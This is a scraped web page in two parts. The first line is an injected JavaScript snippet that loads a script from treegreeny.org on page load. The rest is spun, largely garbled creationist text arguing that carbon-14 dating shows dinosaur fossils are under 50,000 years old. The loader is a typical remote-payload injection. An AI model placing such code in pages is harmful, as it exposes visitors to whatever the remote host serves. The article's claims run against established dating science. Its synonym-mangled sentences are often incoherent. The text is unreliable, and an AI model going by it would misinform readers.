;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
1 The carbon-14 dating involved precautions against contamination. The age for all these fossils was found to be less than 50,000 years1. This is not predicted by conventional evolutionary theory; and other discoveries have been made concerning dinosaurs which also are not predicted by evolutionary theory such as the discovery of soft tissue in bones that are not or are only partially fossilized.2 Both the carbon-14 dating results and the discovery of soft tissue in incompletely fossilized dinosaur bones share the common theme of being indicators of much younger ages for dinosaurs than evolution claimspared to the conventional theory of dinosaurs’ being at minimum 65 million years old, the time it would take soft tissue to degrade and the < 50,000 year ages reported from carbon-14 dating are less than 1 tenth of 1 percent of the expected age for the dinosaur fossils.
3 , 4 Each one of the a couple of thousand meeting participants got an excellent disc including the conceptual of your own carbon-14 relationship statement. But not, the brand new abstract of one’s Miller speech are taken off this site towards the appointment. step 1 , 5 What makes the material regarding paper essential? If your recognized ages of countless age for dinosaurs was to be found to settle error, this would be difficulty so you can advancement. The fresh new dinosaur schedules reported lower than and you may chatted about from the AOGS 2012 report chatted about during the this short article, integrated triceratops, hadrosaur, allosaurus, and you can acrocanthasaurs. Lower than is a list of certain dinosaur fossils as well as their old age on Miller papers. 4
Certainly are the schedules not in the a number of analysis technology? No, the new School of Georgia got prolonged the utmost limitation up over 50,one hundred thousand decades, while the ages was most of the really lower than that it. Is the decades nevertheless too old? Whatsoever, regardless of if these types of age are much younger than simply antique decades, of numerous creationists trust life on the planet getting far young than simply even the stated carbon dioxide-fourteen chronilogical age of these dinosaur fossils. This question was dealt with from inside the a later on section of this particular article.